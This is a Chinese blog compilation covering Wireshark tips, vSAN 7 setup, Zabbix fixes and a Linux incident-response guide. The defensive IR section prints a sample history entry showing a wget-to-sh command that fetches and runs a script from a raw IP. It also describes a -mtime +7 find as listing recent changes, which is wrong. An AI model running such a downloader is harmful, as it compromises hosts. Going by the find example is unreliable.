### 一：数据包过滤

过滤需要的IP地址 ip.addr==

![图片](http://pic.nexopera.tech/62ba71e02f5b5.jpeg)

在数据包过滤的基础上过滤协议ip.addr==xxx.xxx.xxx.xxx and tcp

![图片](http://pic.nexopera.tech/62ba71e36f7ae.jpeg)

过滤端口ip.addr==xxx.xxx.xxx.xxx and http and tcp.port==80

![图片](http://pic.nexopera.tech/62ba71ea35b4e.png)

指定源地址 目的地址ip.src==xxx.xxx.xxx.xxx and ip.dst==xxx.xxx.xxx.xxx

![图片](http://pic.nexopera.tech/62ba71ece99b2.png)

SEQ字段（序列号）过滤（定位丢包问题）

TCP数据包都是有序列号的，在定位问题的时候，我们可以根据这个字段来给TCP报文排序，发现哪个数据包丢失。

SEQ分为相对序列号和绝对序列号，默认是相对序列号显示就是0 1不便于查看，修改成绝对序列号方法请参考第三式。

![图片](http://pic.nexopera.tech/62ba71f2d1f1c.jpeg)

### 二：修改数据包时间显示方式

有些同学抓出来的数据包，时间显示的方式不对，不便于查看出现问题的时间点，可以通过View---time display format来进行修改。

修改前：

![图片](http://pic.nexopera.tech/62ba71f7882e6.jpeg)

修改后：

![图片](http://pic.nexopera.tech/62ba71fd49f76.png)

![图片](http://pic.nexopera.tech/62ba7201e03a2.png)

### 三：确认数据报文顺序

有一些特殊情况，客户的业务源目的IP 源目的端口 源目的mac 都是一样的，有部分业务出现业务不通，我们在交换机上做流统计就不行了，如下图网络架构。箭头是数据流的走向，交换机上作了相关策略PC是不能直接访问SER的。

![图片](http://pic.nexopera.tech/62ba72070a389.png)

那我们在排查这个问题的时候，我们要了解客户的业务模型和所使用得协议，很巧合这个业务是WEB。我们从而知道TCP报文字段里是有序列号的，我们可以把它当做唯一标示来进行分析，也可以通过序列号进行排序。

一般抓出来的都是相对序列号0 1不容易分析，这里我们通过如下方式进行修改为绝对序列号。

Edit-----preference------protocols----tcp---relative sequence numbers

![图片](http://pic.nexopera.tech/62ba720b8e232.jpeg)

修改参数如下：

![图片](http://pic.nexopera.tech/62ba720f6e6bc.png)

我拿TCP协议举例

![图片](http://pic.nexopera.tech/62ba7212d5c40.jpeg)

把TCP的这个选项去除掉

![图片](http://pic.nexopera.tech/62ba7215c0608.jpeg)

最后的效果：

![图片](http://pic.nexopera.tech/62ba721a6760a.jpeg)

### 四：过滤出来的数据包保存

我们抓取数据包的时候数据量很大，但对于我们有用的只有几个，我们按条件过滤之后，可以把过滤后的数据包单独保存出来，便于以后来查看。

![图片](http://pic.nexopera.tech/62ba721d3ce2e.png)

![图片](http://pic.nexopera.tech/62ba7221c857f.jpeg)

### 五：数据包计数统计

网络里有泛洪攻击的时候，我们可以通过抓包进行数据包个数的统计，来发现哪些数据包较多来进行分析。

![图片](http://pic.nexopera.tech/62ba7227232e7.png)

Statistics------conversations

![图片](http://pic.nexopera.tech/62ba722b6c7b4.jpeg)

### 六：数据包解码

IPS发送攻击日至和防病毒日志信息端口号都是30514，SecCenter上只显示攻击日志，不显示防病毒日志。查看IPS本地有病毒日志，我们可以通过在SecCenter抓包分析确定数据包是否发送过来。

发过来的数据量比较大，而且无法直接看出是IPS日志还是AV日志，我们先把数据包解码。

（由于没有IPS的日志抓包信息，暂用其他代替）

解码前：

![图片](http://pic.nexopera.tech/62ba722fd41d8.jpeg)

解码操作：

![图片](http://pic.nexopera.tech/62ba72330e99a.png)

![图片](http://pic.nexopera.tech/62ba723adc8e5.png)

解码后：

![图片](http://pic.nexopera.tech/62ba723f71757.jpeg)

### 七：TCP数据报文跟踪

查看TCP的交互过程，把数据包整个交互过程提取出来，便于快速整理分析。

![图片](http://pic.nexopera.tech/62ba72444f5c5.png)

![图片](http://pic.nexopera.tech/62ba7249222fe.jpeg)

### 八：通过Wireshark来查看设备的厂家

查看无线干扰源的时候，我们可以看出干扰源的mac地址，我们可以通过Wireshark来查找是哪个厂商的设备，便于我们快速寻找干扰源。

例如：mac地址是A4-4E-31-30-0B-E0

![图片](http://pic.nexopera.tech/62ba724ec4a29.jpeg)

我们通过Wireshark安装目录下的manuf文件来查找

![图片](http://pic.nexopera.tech/62ba725418752.jpeg)

8 个常用的 Wireshark 使用技巧

深度的 Zabbix 使用指南

本文使用三台服务器安装ESXI 7.0 ，并在其中一台ESXI中安装vCenter 7.0。本环境中最终在VMware Workstation虚拟机中做的嵌套虚拟化。每台虚拟机配置两块网卡，一块网卡桥接，一块NAT。三块硬盘，一块100GB作为系统盘，一块10GB作为vSAN的缓存盘，一块200GB的作为vSAN的数据盘。

## 一、物理机如何安装ESXi?

如果在物理机中安装ESXI，SR660 V2服务器安装ESXI 7，服务器插入已经写入镜像的u盘，开机按F2

![image-20221213141427387](http://pic.nexopera.tech/63981843df162.png)


选择U盘启动：

![image-20221213141432554](http://pic.nexopera.tech/63981848f0f62.png)



按向导进行，ESXI 7安装完成：

![image-20221213141436586](http://pic.nexopera.tech/6398184d0820d.png)



## 二、安装ESXi 7

下图是已经在虚拟机中安装完成ESXi 7了，获取到IP地址了，下一步我们在任意一台服务器中安装vCenter 7吧。

![image-20221213141444763](http://pic.nexopera.tech/639818554826f.png)



## 三、 安装vCenter

在自己电脑中挂载VMware-VCSA-all-7.0.3-19193905.iso文件，在本地向远程服务器部署vCenter。

![image-20221213141450296](http://pic.nexopera.tech/6398185ab4e63.png)



挂载之后，打开虚拟光驱，找到vcsa-ui-installer\win32，进入之后双击installer.exe进行安装部署。

![image-20221213141458312](http://pic.nexopera.tech/63981862d28cb.png)


点击Install

![image-20221213141504030](http://pic.nexopera.tech/639818688534a.png)



![image-20221213141509736](http://pic.nexopera.tech/6398186e3002a.png)


下面输入想要在哪一台ESXi 中部署vCenter的地址

![image-20221213141515080](http://pic.nexopera.tech/639818738ca1c.png)



![image-20221213141519965](http://pic.nexopera.tech/63981878662b9.png)


下一步为vCenter这台虚拟机设置一个虚拟机的名称和设置root账户的密码

![image-20221213141525516](http://pic.nexopera.tech/6398187df3c8a.png)


由于是实验环境，下面设置部署环境为Tiny模式，生产环境看规模来选择：

![image-20221213141530039](http://pic.nexopera.tech/639818828539c.png)


注意：下面这一步选择“Install on a new vSAN cluster containing the target host”，意思是将部署vCenter这台ESXi主机的存储模式改为vSAN类型。（之前没有选择这一步，在vCenter里面部署VSAN，总是不能加载vSAN硬盘，总是会报错。）琢磨之后，发现在安装vCenter的之后就需要将其中一台ESXi的存储改为vSAN类型才可以。

![image-20221213141536031](http://pic.nexopera.tech/6398188883aec.png)


下面为vSAN声明硬盘类型了，可以看到图中两个硬盘都是SSD类型，我们将200GB的硬盘转换为“存储盘capacity”，10GB的转换为“缓存盘Tier”。

![image-20221213141542138](http://pic.nexopera.tech/6398188ea4d2f.png)


“Enable Tin Disk Mode” 表示将该虚拟机的磁盘格式设置为“精简置备”

“Enable Deduplication and compression” 表示启用重复数据删除和压缩。如果是全闪存类型磁盘，可以开启这一项。

![image-20221213141548290](http://pic.nexopera.tech/63981894c8d33.png)


下面是设置好之后的磁盘类型：

![image-20221213141553922](http://pic.nexopera.tech/6398189a616a0.png)


这一步设置vCenter的IP地址，我在这里使用的是DHCP自动获取

![image-20221213141558872](http://pic.nexopera.tech/6398189f53e17.png)


下面第一阶段已经开始部署了

![image-20221213141603842](http://pic.nexopera.tech/639818a435d7c.png)


第一阶段已经部署完毕，继续部署第二阶段

![image-20221213141608373](http://pic.nexopera.tech/639818a8d6348.png)



![image-20221213141612823](http://pic.nexopera.tech/639818ad41033.png)


下面设置SSO单点登录的域和管理员密码

![image-20221213141617404](http://pic.nexopera.tech/639818b1cde14.png)



![image-20221213141622735](http://pic.nexopera.tech/639818b73046e.png)



![image-20221213141627103](http://pic.nexopera.tech/639818bb780e1.png)


vCenter部署完毕，可以通过提示的网址来访问vCenter

![image-20221213141632051](http://pic.nexopera.tech/639818c2b6f5d.png)


登录vCenter之后，可以看到已经创建了数据中心和集群了，并且安装vCenter虚拟机的这台ESXi主机也加入到了集群中，并且使用了VSAN存储。

![image-20221213141639169](http://pic.nexopera.tech/639818c796f68.png)


点击集群，然后在右侧点击“配置”选项卡，点击“快速入门”，点击集群基础

![image-20221213141644408](http://pic.nexopera.tech/639818ccd4849.png)


将vSphere DRS和vSphere HA开启

![image-20221213141649010](http://pic.nexopera.tech/639818d178c05.png)


开启后会是这个样子

![image-20221213141654187](http://pic.nexopera.tech/639818d6a7d50.png)



## 四、集群中添加主机

下面需要在集群中添加剩下的两台主机

![image-20221213141658759](http://pic.nexopera.tech/639818db28d95.png)



![image-20221213141703737](http://pic.nexopera.tech/639818e037a67.png)



## 五、配置网络

在每台主机中创建标准虚拟交换机，下面拿第一台为例，后面两台重复此操作：选择虚拟交换机，点击添加网络

![image-20221213141708424](http://pic.nexopera.tech/639818e4d06f5.png)


选择VMKernel网络适配器，

![image-20221213141713807](http://pic.nexopera.tech/639818ea43224.png)


新建标准交换机

![image-20221213141718692](http://pic.nexopera.tech/639818ef2d9d7.png)


分配一个适配器，将ESXi的第二块网卡分配给虚拟交换机

![image-20221213141723200](http://pic.nexopera.tech/639818f3a430e.png)



![image-20221213141727663](http://pic.nexopera.tech/639818f86231b.png)



![image-20221213141733694](http://pic.nexopera.tech/639818fe38337.png)


设置VMKernel的网络标签，然后将 “vSAN”服务勾选上。

![image-20221213141738874](http://pic.nexopera.tech/6398190361729.png)


下面设置一个地址，我在这里使用的是DHCP，也可以选择静态地址

![image-20221213141744340](http://pic.nexopera.tech/63981908cc282.png)


创建完成之后，点击VMKernel网络适配器，修改vmk0适配器，为它添加一个”VMotion”服务。

![image-20221213141749477](http://pic.nexopera.tech/6398190de48eb.png)



![image-20221213141754841](http://pic.nexopera.tech/6398191338bdc.png)



![image-20221213141800186](http://pic.nexopera.tech/639819189b7bf.png)


其他两台也是如此。下图是三天ESXi创建的网络适配器。

![image-20221213141806532](http://pic.nexopera.tech/6398191ee8304.png)



![image-20221213141810746](http://pic.nexopera.tech/639819232bb54.png)



![image-20221213141817664](http://pic.nexopera.tech/6398192a1c013.png)

## 六、vSAN配置

可以手动部署vSAN，也可以使用快速向导部署vSAN。本节使用的是手动部署vSAN，下一节使用快速向导部署。
可以看到下图，10.111.99.11这台ESXi已经声明了使用磁盘。我们要为处于维护模式的两台ESXi声明磁盘。

![image-20221213141821479](http://pic.nexopera.tech/6398192dee1fe.png)



![image-20221213141826949](http://pic.nexopera.tech/639819336502b.png)


选择按主机分组

![image-20221213141831902](http://pic.nexopera.tech/6398193866794.png)


分配磁盘类型

![image-20221213141837085](http://pic.nexopera.tech/6398193d963d0.png)


下面就等待一会

![image-20221213141841623](http://pic.nexopera.tech/639819422c574.png)


将处于维护模式的ESXi退出维护模式

![image-20221213141846303](http://pic.nexopera.tech/63981946c038b.png)



![image-20221213141851381](http://pic.nexopera.tech/6398194bee6b4.png)


在磁盘管理中可以看到，vSAN的运行状况为 正常。

向vsandatastore上传镜像

![image-20221213141858384](http://pic.nexopera.tech/63981952c65cd.png)



## 七、使用快速向导部署

使用向导部署的好处就是不需要手动每台主机添加网络，直接在向导中全部搞定

**7.1 开启DRS和HA**

点击编辑，将vSphere DRS和vSphere HA服务开启

![image-20221213141904835](http://pic.nexopera.tech/6398195951d58.png)



![image-20221213141909606](http://pic.nexopera.tech/6398195e0f79f.png)

**7.2 添加主机**

将其他两台ESXi添加到vCenter中

![image-20221213141914076](http://pic.nexopera.tech/6398196291aaa.png)



![image-20221213141918753](http://pic.nexopera.tech/639819672fdbc.png)


等待主机添加完成

![image-20221213142009566](http://pic.nexopera.tech/63981999e7832.png)

**7.3 配置vSAN集群**

![image-20221213142015237](http://pic.nexopera.tech/6398199fc64de.png)



创建分布式交换机，交换机名称为vSAN，其中包括两个端口组，提供给vMotion和vSAN服务。并为上行链路选择一个物理网卡。这里将vSAN交换机连接到vmnic1物理接口。

![image-20221213142020642](http://pic.nexopera.tech/639819a51fcb4.png)


在本文vMotion和vSAN都使用了自动获取的IP地址

![image-20221213142026013](http://pic.nexopera.tech/639819aa7f4eb.png)



![image-20221213142030099](http://pic.nexopera.tech/639819ae88b31.png)



![image-20221213142034833](http://pic.nexopera.tech/639819b3483df.png)


下一步来声明vSAN的磁盘类型

![image-20221213142039010](http://pic.nexopera.tech/639819b77ebd4.png)


完成部署，等待部署完成。

![image-20221213142043738](http://pic.nexopera.tech/639819bc2d6f2.png)


看到主机从维护模式退出时，就已经完成了。

![image-20221213142048548](http://pic.nexopera.tech/639819c10c927.png)



## 八、 设置虚拟机存储策略

编辑虚拟机策略，将VSAN Default Storage Policy设置为默认

![image-20221213142053831](http://pic.nexopera.tech/639819c76e132.png)



![](http://pic.nexopera.tech/639819c76e132.png)



## 九、分配vSAN授权许可

![image-20221213142104289](http://pic.nexopera.tech/639819d0b5271.png)



## 十、 创建虚拟机

下在vsandatastore存储中创建虚拟机测试

![image-20221213142109759](http://pic.nexopera.tech/639819d631191.png)



![image-20221213142115006](http://pic.nexopera.tech/639819db7b610.png)



![image-20221213142119984](http://pic.nexopera.tech/639819e075e7f.png)


虚拟机迁移到另一台主机时，发现丢包不严重

![image-20221213142125235](http://pic.nexopera.tech/639819e5a1515.png)

## **总结**

注意：如果关闭vSAN请确保在禁用 vSAN 群集之前将虚拟机从 vSAN 数据存储迁移到另一个数据存储。

禁用 vSAN 群集后，位于 vSAN 数据存储上的所有虚拟机都将变得不可访问。 

然后将主机从VSAN集群中移除。

最后关闭VSAN集群，需要先关闭vSphere HA然后才能关闭vSAN集群。


VSAN 7 安装部署指南

1 .查看zabbix_server.log，提示以下问题
cannot send list of active checks to "10.200.4.150": host [WIN-FKL6C0EFHBT] not found
其实在 z abbix web上是有 a gent主机最新数据的，出现上面的问题是因为 w eb和agent配置的H os tname对不上 ，但是a gent主机是有配 s erver ip的，所以也可以请求到数据。处理也比较简单， 2边改为一致的，方便记忆的名字 ，然后 重启a gent服务 就行了：
英文版：
![img](http://pic.nexopera.tech/1235613_159849626562242.png)
中文版：
![img](http://pic.nexopera.tech/1235613_159849628287391.png)

2.snmp方式采集 l inux数据，只能获取到系统的基本信息，其他却提示

**No Such Object available on this agent at this OID******

解决方法：

在目标主机编辑 snmpd.conf文件，加上

view systemview included .1 # 意思是允许访问 s ystem所有的 o id节点信息

然后重启

s ervice snmpd restart
![img](http://pic.nexopera.tech/1235613_159849630636248.png)

没开改配置前的 s nmpwalk到的信息，只能得到系统常见的几个数据。
![img](http://pic.nexopera.tech/1235613_159849632176320.png)

改了之后获取到的系统信息，可以看到已经能获取支持的所有数据了。
![img](http://pic.nexopera.tech/1235613_159849633428536.png)

1. snmp获取数据却提示 ： No Such Instance in this object

这问题一般出现在使用snmp获取设备数据，使用命令 snmpwalk可以获取数据，但是在添加监控项后，提示不支持，报错为 ： No Such Instance in this object

解决办法在oid后面加上 .0，如下图所示：
![img](http://pic.nexopera.tech/1235613_159849635167144.png)

还有个方法，用命令得到的数据，把如下图的红框复制到SNMP OID这里也可以。
![img](http://pic.nexopera.tech/1235613_159849636751852.png)


3个zabbix常见问题的处理方法

**留存备用**

Linux环境下处理应急响应事件往往会更加的棘手，因为相比于Windows，Linux没有像Autorun、procexp这样的应急响应利器，也没有统一的应急响应处理流程。所以，这篇文章将会对Linux环境下的应急响应流程进行讲解，并且提供每一个环节中所用到的shell命令，以帮助大家快速、系统化地处理Linux环境下的病毒。

处理Linux应急响应主要分为这4个环节:

**识别现象->清除病毒->闭环兜底->系统加固**

首先从用户场景的主机异常现象出发，先识别出病毒的可疑现象。

然后定位到具体的病毒进程以及病毒文件，进行清除。

完成前2步还不够，病毒一般会通过一些自启动项及守护程序进行重复感染，所以我们要执行闭环兜底确保病毒不再被创建。

将主机上的病毒项清除干净后，最后就是进行系统加固了，防止病毒从Web再次入侵进来。

走完这4个环节，才能算是一个应急响应流程的结束。

![image-20220813081731346](http://pic.nexopera.tech/62f6ed9be9465.png)



## **01 识别现象**



第1个环节要求我们通过系统运行状态、安全设备告警，发现主机异常现象，以及确认病毒的可疑行为。

系统CPU是否异常

枚举进程，CPU降序排序：top

![image-20220813081738700](http://pic.nexopera.tech/62f6eda39326f.png)

CPU占用率超过70%且名字比较可疑的进程，大概率就是挖矿病毒了。

![image-20220813081742610](http://pic.nexopera.tech/62f6eda757076.png)

**是否存在可疑进程**

枚举进程命令行：ps -aux

![image-20220813081750735](http://pic.nexopera.tech/62f6edaf8082e.png)

病毒一般都携带可疑的命令行，当你发现命令行中带有url等奇怪的字符串时，就要注意了，它很可能是个病毒downloader。

![image-20220813081755893](http://pic.nexopera.tech/62f6edb43f1c7.png)

**安全网关有无报警**

从安全网关报警中识别出威胁是最直接，但确认主机已经感染了病毒只是第一步，接下来得定位，具体是哪个进程在与C&C通信。

![image-20220813081802090](http://pic.nexopera.tech/62f6edbb2d42f.png)

**监控与目标IP通信的进程：**

```
while true; do netstat -antp | grep [ip]; done
```

![image-20220813081806318](http://pic.nexopera.tech/62f6edc593a42.png)

有时安全网关检测到的不全是恶意IP，还有可能是个域名，这种情况下，域名对应的IP是变化的，我们不能直接用上述方法进行监控。

![image-20220813081812757](http://pic.nexopera.tech/62f6edc582a96.png)

我们可以先在host文件中添加一条规则，将恶意域名重定向到一个随机的IP地址，然后对其进行监控。

![image-20220813081818750](http://pic.nexopera.tech/62f6edcb43580.png)

这样就能得到与之通信的恶意进程了。

![image-20220813081822825](http://pic.nexopera.tech/62f6edcf8deee.png)

**有无可疑历史命令**

遍历主机历史命令，查找有无恶意命令：history

![image-20220813081830748](http://pic.nexopera.tech/62f6edd96b5ed.png)



## **02 清除病毒**



从第1个环节追溯到的进程信息，将会帮助我们定位到病毒进程&病毒文件，实现清除。

结束病毒进程

**清除可疑进程的进程链：**

```
ps -elf | grep [pid]
kill -9 [pid]
```

![image-20220813081838487](http://pic.nexopera.tech/62f6eddf0c2ff.png)

**删除病毒文件**

定位病毒进程对应的文件路径：

```
ls -al /proc/[pid]/exe
rm -f [exe_path]
```

![image-20220813081845404](http://pic.nexopera.tech/62f6ede7558f1.png)



## **03 闭环兜底**



**检查是否存在可疑定时任务**

枚举定时任务：

```
crontab -l
```

查看anacron异步定时任务：

```
cat /etc/anacrontab
```

**检查是否存在可疑服务**

枚举主机所有服务，查看是否有恶意服务：

```
service --status-all
```

**检查系统文件是否被劫持**

枚举系统文件夹的文件，按修改事件排序查看7天内被修改过的文件：

```
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
```

**检查是否存在病毒守护进程**

监控守护进程的行为：

```
lsof -p [pid]
```

![image-20220813081910265](http://pic.nexopera.tech/62f6edff1e983.png)

```
strace -tt  -T -e  trace=all  -p $pid
```

**扫描是否存在恶意驱动**

枚举/扫描系统驱动：lsmod

![image-20220813081918339](http://pic.nexopera.tech/62f6ee085f4f9.png)

安装chkrootkit 进行扫描：

```
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
./chkrootkit
```

安装rkhunter 进行扫描：

```
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c
```



## **04 系统加固**



最后一个环节往往是大家比较容易遗忘的，Linux平台下90%的病毒是通过网络传播感染的，所以，你的主机之所以会感染病毒，大部分原因也是因为Web安全防护不够，赶紧检查一下。



**修改SSH弱密码**

查询log主机登陆日志：

```
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
```

定位有爆破的源IP:

```
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
```

爆破日志的用户名密码：

```
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
```

SSH爆破是Linux病毒最常用的传播手段，若存在弱密码的主机很容易被其他感染主机SSH爆破成功，从而再次感染病毒。

**添加命令审计**

为历史的命令增加登录的IP地址、执行命令时间等信息:

保存1万条命令：

```
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
```

在/etc/profile的文件尾部添加如下行数配置信息：

```
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
```

让配置生效：

```
source /etc/profile
```

**生成效果：**

```
76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
```

**打上常见Web漏洞补丁**

structs2系列RCE漏洞

thinkphp5.X RCE漏洞

Redis未授权访问漏洞

Confluence RCE漏洞（CVE_2019_3396）

Drupal RCE漏洞（CVE-2018-7600）

ThinkPHP RCE漏洞（CVE-2019-9082）

**结尾**

Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主，由于Linux大多作为服务器暴露在公网，且Web应用的漏洞层出不穷，所以很容易被大范围入侵，如常见的病毒：DDG、systemdMiner、BillGates、watchdogs、XorDDos，在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。


Linux应急响应技巧

Nexopera是一个专注于Linux、网络和运维等领域的博客网站。将为读者提供广泛的相关文章，涵盖操作系统、服务器管理、网络配置、安全性等多个主题。如果你是初学者，希望这里有适合你的内容。

一：数据包过滤

一、监控概述

1.1 为什么要监控